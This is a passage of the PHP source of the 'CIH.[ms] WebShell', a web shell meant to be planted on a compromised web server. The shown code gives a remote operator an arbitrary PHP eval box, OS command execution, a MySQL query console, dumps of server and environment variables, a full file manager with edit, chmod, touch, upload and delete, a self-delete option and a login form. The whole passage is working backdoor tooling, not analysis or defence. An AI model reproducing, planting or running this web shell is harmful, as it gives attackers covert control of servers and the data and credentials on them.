  387. echo "<div class='str' style='margin-top:3px; border-bottom:1px solid #333; padding:3px;'>affected rows : <b>".$rows."</b></div>"; }
  388. }} mysql_close($db);}else {notice('Error: Could not connect to database..');} echo '</div>'; }
  389. echo "<form action='' method='post' style='margin:0px; margin-top:15px;'>
  390. <table style='width:100%; height:40%'><tr><td valign='top' style='background:#272727; padding:3px;'><textarea class='txt' cols='70' rows='15' name='sql' style='width:100%; height:99%'>";
  391. if(isset($_POST['sql'])){echo $_POST['sql'];} else echo 'SHOW DATABASES;';
  392. echo "</textarea></td><td style='width:150px; background:#272727;' valign='top' >
  393. <input type='text' name='mysqlw_host' class='txt' style='margin:10px; height:24px;' value='$dbhost'/><input type='text' name='mysqlw_db' class='txt' style='margin:10px; height:24px;' value='$dbname'/><input type='text' name='mysqlw_login' class='txt' style='margin:10px; height:24px;' value='$dblogin'/><input type='txt' name='mysqlw_passw' class='txt' style='margin:10px; height:24px;' value='$dbpass'/><input type='text' name='mysqlw_port' class='txt' style='margin:10px; height:24px;' value='$dbport'/><br/></td><tr><td colspan=2 valign='top' style='height:5%;'><input type='hidden' name='do' value='mysql'><input type='submit' class='txt' style='width:100%; margin:0px; margin-bottom:5px; ' value='go!'></td></tr></table></form><br/>";
  394. do_footer($ver); die(); break;
  395. case 'server':
  396. echo '<table class="str" style="width:100%">';foreach($_SERVER as $k=>$v)
  397. {echo "<tr style='background:#262626; color:#666'><td style='padding:3px;'><b>$k</b></td><td>$v</td></tr>";}echo '</table>';do_footer($ver);
  398. die();break;
  399. case 'envinfo':
  400. echo '<table class="str" style=" width:100%">';foreach($_ENV as $k=>$v)
  401. {echo "<tr style='background:#262626; color:#666'><td style='padding:3px;'><b>$k</b></td><td style='padding:3px;'>$v</td></tr>";}echo '</table><br/>';do_footer($ver);die();break;
  402. case 'delete':
  403. if(unlink(substr(strrchr($_SERVER['PHP_SELF'],"/"),1))==true){echo "<div class='notice'>cihshell has been deleted successfully..bye-bye ): </div><br/><br/>"; do_footer($ver);}else{error('Unable to delete shell', $ver);} die();break;
  404. case 'eval':
  405. echo "<form method='post' action='' style='padding:0px; margin-top:5px;'><input type='hidden' name='do' value='eval' style='border-bottom:1px solid #444;'> <textarea name='eval' class='form' style='height:100px;'>";
  406. if (isset($_POST['eval'])){echo $_POST['eval'];} else {echo 'code here (:';}
  407. echo "</textarea><input type='submit' class='form' value='do' style='width:98%; margin-top:3px; border:0px; background:#262626;'></form><br/>";
  408. if (isset($_POST['eval'])){
  409. echo "<table class='txt' style='margin-left:13px; width:98%; height:60%'><tr><td valign='top'>";code_eval();echo "</td></tr></table><br/>";}
  410. do_footer($ver);die(); break;
  411. case 'shell':
  412. echo " <textarea class='txt' style='width:98%; height:60%; background:#262626' rows='30'>";if($safe_mode == 'On'){ echo "Safe mode is on..";}if(isset($_POST['alias'])){ foreach ($alias as $k=>$v) { if ($_POST['alias'] == $k){cmd_exec($v);}}} else {cmd_exec($safe_mode);}if(isset($_POST['cmdir'])) {$dirr = $_POST['cmdir'];} else {$dirr = $path;}echo "</textarea>";echo "<form method='post' action='' style='padding:0px; margin-top:5px; margin-bottom:15px;'><input type='hidden' name='do' value='shell'><input type='text' name='cmd' value='";if (isset($_POST['cmd'])){echo $_POST['cmd'];} elseif ($os == 'win'){echo 'dir';} else{echo 'ls';}echo "' class='form' style='width:98%; margin-bottom:2px;'><input type='text' name='cmdir' value='$dirr' class='form' style='color:#444;width:98%'><input type='submit' class='form' value='do' style='width:98%; margin-top:3px; border:0px; background:#262626;'></form>";echo"<form method='post' action='' style='border-top:1px solid #282828; margin:0px;'><select name='alias' class='form' style='width:98%; margin-top:5px;'>";foreach($alias as $k=>$v){echo "<option>$k</option>";}echo "</select><input type='hidden' name='do' value='shell'><input type='hidden' name='cmdir' value='$dirr'><input type='submit' class='form' value='do' style='width:98%; margin-top:3px; border:0px; background:#262626;'</form><br/><br/>";do_footer($ver); die();break;
  413. case 'cihshell':echo "<div class='str' style='text-align:center;'><table class='str' style='width:100%'><tr>
  414. <td style='border-right:1px solid #333; width:200px;'><div style=' padding:50px; margin-top:50px; margin-bottom:50px; border-top:1px solid #333; border-bottom:1px solid #333;'>Coded by <b>Berkut</b>. <br/><br/>&copy; 2007 <br/><hr>Fixed by <b>DCRM</b>. <br/></br>&copy; 2008 <br/></div></td><td valign='top' style='padding-left:30px;'><br/><br/><span style='font-size:20px; color:#666;'>CIH.[ms] WebShell<sup style='font-size:12px; color:#444;'>&nbsp;v.$ver</sup></span><br/><br/><br/>It has so many strong points that it is impossible to write them here (:</td></tr></table></div>";do_footer($ver); die();break;
  415. default: error('There is no such function',$ver);
  416. break;}}
  417. # file actions
  418. if(is_file($path))
  419. {$perms = fperms($path); $size = filesize($path."/".$file); $size = conv_size($size); $size_fix = conv_size(filesize($path)); $pp = $_POST['f_path'];$ppp = $_POST['f_file'];
  420. echo "<div style='padding:2px;'><div style='background:#292929; padding:10px; margin-bottom:3px; text-align:left;'><b>File actions</b></div><div style='background:#272727; padding:3px; font-size:9px; text-align:left;'>file:&nbsp;<span style='color:#666;'>$path</span>&nbsp;&nbsp;|&nbsp;&nbsp; permissions: <b style='color:#666;'>$perms </b>&nbsp;&nbsp;|&nbsp;&nbsp; size: <span style='color:#666;'>$size_fix</span>&nbsp;&nbsp;|&nbsp;&nbsp; Create time: <span style='color:#666;'>".date("d.m.Y H:i:s",filectime($path))."</span>&nbsp;&nbsp;|&nbsp;&nbsp;Modify time: <span style='color:#666;'>".date("d.m.Y H:i:s",filemtime($path))."</span></div><table style='width:100%; font-size:10px;'><tr><td style='width:200px; border-right:1px solid #292929; vertical-align:top; padding:0px; padding-left:5px;'> <form method='post' action=''><input type='hidden' name='ffile' value='$path'><input type='hidden' name='path' value='$path'><input type='hidden' name='curpath' value='$pp'><input type='hidden' name='filename' value='$ppp'><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'> <input type='submit' class='fa' name='fdo' value='view' style=''></div><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'><input type='submit' class='fa' name='fdo' value='view in HEX' style=''></div> <div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'> <input type='submit' class='fa' name='fdo' value='edit'></div> <div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'> <input type='submit' class='fa' name='fdo' value='preview' ></div><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'><input type='submit' class='fa' name='fdo' value='download'></div><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:40px;'><input type='submit' class='fa1' name='fdo' value='delete'></div><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'> <input type='submit' class='fa1' name='fdo' value='copy' ></div><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'><input type='submit' class='fa1' name='fdo' value='rename' ></div> <div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'><input type='submit' class='fa1' name='fdo' value='chmod' ></div> <div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'><input type='submit' class='fa1' name='fdo' value='touch' ></div></td><td style='padding:3px; vertical-align:top;'>";
  421. if (isset($_POST['fdo']) && isset($_POST['ffile'])){
  422. $ffile = $_POST['ffile'];
  423. switch($_POST['fdo']){
  424. case 'view':
  425. fileread2($ffile, $stringnum);
  426. break;
  427. case 'view in HEX':
  428. $fi=fopen($path,"rb");
  429. if ($fi) {$str = fread($fi,filesize($path));$n=0;$a0="00000000<br/>";$a1="";$a2="";
  430. for ($i=0; $i<strlen($str); $i++) {$a1.=sprintf("%02X",ord($str[$i])).' ';switch (ord($str[$i])) {case 0: $a2.="0"; break;case 32: case 10:case 13: $a2.="&nbsp;"; break;default: $a2.=htmlspecialchars($str[$i]);}$n++;if ($n==$hexdump_rows) {$n=0;if ($i+1<strlen($str)) $a0.=sprintf("%08X",$i+1)."<br>";$a1.="<br>";$a2.="<br>";}}echo "<table style='font-size:10px;'><tr><td style='border-right:1px solid #292929; color:#444; padding:4px;'>$a0</td><td style='color:#666; padding:4px;'>$a1</td><td style='border-left:1px solid #292929; color:#444; padding:4px;'>$a2</td></tr>";echo"</table>";
  431. }break;
  432. case 'edit':
  433. echo "<form method='post' action='' style='margin:0px; padding:0px;'><textarea cols='170' rows='34' class='txt' style='width:100%;' name='wrcont'> ";
  434. fileread($ffile);echo "</textarea><input type='hidden' name='ffile' value='$ffile'><input type='hidden' name='path' value='".$path."'><input type='submit' name='wrfile' class='form' value='save file' style='width:100%; margin-top:5px;'></form><br/>"; break;
  435. case 'chmod':
  436. echo"<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='chmod' class='form' value='".substr(sprintf('%o', fileperms($path)), -4)."' style='width:10%'><span style='margin-left:4px; margin-right:4px;'>for</span><input type='text' name='ffile' class='form' value='".$path."' style='width:70%'><input type='submit' style='width:60px;' class='form' value='change!'></form><br/>";break;
  437. case 'touch':
  438. echo"<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='touch' class='form' value='".date("d M Y H:i:s",filemtime($path))."' style='width:15%'><span style='margin-left:4px; margin-right:4px;'>for</span><input type='text' name='ffile' class='form' value='".$path."' style='width:70%'><input type='submit' style='width:60px;' class='form' value='change!'></form><br/>";break;
  439. case 'rename':
  440. echo" <form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='ffile' class='form' value='".$path."' style='width:40%'><span style='margin-left:4px; margin-right:4px;'>to</span><input type='text' name='newname' class='form' value='".$path."' style='width:40%'><input type='submit' style='width:60px;' class='form' value='rename!'></form><br/>";break;
  441. case 'copy':
  442. echo"<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='ffile' class='form' value='".$path."' style='width:40%'><span style='margin-left:4px; margin-right:4px;'>to</span><input type='text' name='newpath' class='form' value='".$path."' style='width:40%'><input type='submit' style='width:60px;' class='form' value='copy!'></form><br/>";break; }}
  443. else {
  444. $fh = fopen($path, 'r'); if (!$fh){error('Could not open file',$ver);}echo '<table style="font-size:10px; width:100%; background:#222; ">';if ($stringnum){$i=1;while(!feof($fh) & $i<=30) {$line = fgets($fh); echo '<tr style="background:#242424;"><td style="text-align:center;padding:3px; width:2%; border-right:1px solid #2e2e2e; color:#444;">'.$i.'</td><td>'.htmlspecialchars($line).'</td></tr>'; $i++;}}else {while(!feof($fh) & $i<=30) {$line = fgets($fh); echo '<tr style="background:#242424;"><td>'.htmlspecialchars($line).'</td></tr>'; }}echo '</table>';}
  445. echo '</td></tr></table></div>';do_footer($ver);die();}
  446. elseif (is_dir($path))
  447. {
  448. $dirs=array();
  449. $files=array();
  450. $dir=opendir($path);
  451. while (($file=readdir($dir))!==false) { if ($file=="." || $file=="..") continue;
  452. if (is_dir("$path/$file")) {$dirs[]=$file;}
  453. else {$files[]=$file;}}closedir($dir);
  454. }
  455. else {error('it isn\'t a directory', $ver);}
  456. if (!$dir){error('An error occured while opening directory&nbsp;'.$path, $ver);}
  457. sort($dirs);
  458. sort($files);
  459. echo "<table style='width:100%; background:#222;'>";
  460. echo "<tr><td colspan=6 class='filet' style='background:#282828; padding:0px; border-top:1px solid #2e2e2e; height:30px;'>";
  461. # drives
  462. if ($os == "win") {
  463. echo "<form method='post' action='' style='padding:0px; margin:0px; float:left;'>";echo "<input type='button' value='Drives:' class='fm' style='font-weight:bold;'>";for($d='c';$d<='z';$d++){if(is_dir($d.":/"))echo "<input type='submit' value='".$d.":/' class='fm' name='path'>"; }echo "</form>";}echo "<form method='post' action='' style='padding:0px; margin:0px; float:right;' >";
  464. echo "<input type='submit' name='diract' class='fm' value='directory actions' style='margin-bottom:0px; font-weight:bold; color:#666;'><input type='hidden' name='curdir' value='$path'><input type='hidden' name='cmdir' value='$path'><span style='color:#666;'>|</span><input type='submit' name='fileact' value='New File' class='fm'><span style='color:#666;'>|</span><input type='submit' style='margin:0px;' name='fileact' value='New Dir' class='fm'><span style='color:#666;'>|</span><input type='submit' name='fileact' value='Upload' class='fm'>";echo "</form>";
  465. echo "</td></tr>";echo "<tr style='background:#272727;'><td style='width:3%; '>&nbsp;</td><td style='width:300px; color:#888;' class='filet'><b>name</b></td><td class='filet' style='color:#888;'><b>size</b></td><td class='filet' style='color:#888;'><b>last modified</b></td><td class='filet' style='color:#888;'><b>permissions</b></td></tr>";echo "<form method='post' action=''><input type='hidden' name='f_path' value='$path'>";
  466. for ($i=0; $i<count($dirs); $i++) {
  467. $size = '---';
  468. $perms = fperms($path."/".$dirs[$i]);
  469. $ico = '<b>dir</b>';
  470. $last_mod = date('d.m.y H:i:s', fileatime($path."/".$file));if(!$last_mod){$last_mod = "---";}
  471. echo" <tr style='background:#252525;'><td class='ico'>[$ico]</td><td style='width:300px;'><input type='submit' name='f_file' class='dir' value='$dirs[$i]'></td><td class='filet'>$size</td><td class='filet'>$last_mod</td><td class='filet'>$perms </td></tr>";}
  472. for ($i=0; $i<count($files); $i++) {
  473. # filesize
  474. if (is_link($path."/".$files[$i])) {$size = "---";} else {$size = filesize($path."/".$files[$i]); $size = conv_size($size); if($size == '0B'){$size = '---';} }
  475. # date
  476. $last_mod = date('d.m.y H:i:s', fileatime($path."/".$files[$i]));if(!$last_mod){$last_mod = "---";}
  477. #perms
  478. $perms = fperms($path."/".$files[$i]);
  479. #filetype (ico)
  480. $ico = ''; if(is_link($path."/".$files[$i])) {$ico = 'link';}
  481. else{
  482. // filetypes for file manager
  483. $filetypes = array(
  484. "php"=> array("php","phtml","php3","php4","inc"),
  485. "exe"=>array("sh","install","bat","cmd"),
  486. "ini"=>array("ini","inf"),
  487. "html"=>array("html","htm","shtml"),
  488. "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg"),
  489. "code"=>array("tcl","h","c","cpp", "pl", "cgi"),
  490. "img"=>array("gif","png","jpeg","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  491. "sdb"=>array("sdb"),
  492. "sess"=>array("sess"),
  493. "dwnld"=>array("exe","com","pif","src","lnk","zip","rar")
  494. );
  495. $filename = $files[$i]; $ext = explode(".",$filename);$c = count($ext)-1;$ext = $ext[$c];$ext = strtolower($ext);$rft = "";foreach($filetypes as $key=>$value){if (in_array($ext,$value)) {$ico = $key; break;} } if($ico==''){$ico = 'none';}}
  496. $wtf = '/'.$files[$i];if ($wtf == $_SERVER['SCRIPT_NAME']) {echo"<tr style='background:#292929;'><td class='ico' style='color:#666;'>[shell]</td><td style='width:300px;'><input type='submit' style='background:#292929;' name='f_file' class='file' value='$files[$i]'></td><td class='filet'>$size</td><td class='filet'>$last_mod</td><td class='filet'>$perms </td></tr>";}
  497. else {
  498. echo"<tr style='background:#252525;'><td class='ico'>[$ico]</td><td style='width:300px;'><input type='submit' name='f_file' class='file' value='$files[$i]'></td><td class='filet'>$size</td><td class='filet'>$last_mod</td><td class='filet'>$perms </td></tr>"; }
  499. }echo '</form></table><div style="padding-left:2px; padding-right:2px; padding-bottom:4px; background:#222;"><div class="filet" style="background:#272727; border-bottom:1px solid #2e2e2e">&nbsp</div></div>';do_footer($ver);}
  500. else {echo ' <html><head><style>body{background:#333;}</style><title>login </title></head><body><table style="margin-left:100px; margin-top:100px; background:#222; font-family:Verdana; font-size:10px; color:#999; padding:4px; width:100%:"><tr><td><form method="post" style="margin:0px; padding:)px;">login: <input type="text" name="login" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">&nbsp;password: <input type="text" name="password" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">&nbsp;<input type="submit" style="color:#999; border:0px; font-size:10px; background:#262626; height:20px;; font-family:Verdana;" value="go"></form></td></tr></table></body></html>';}
  501. ?>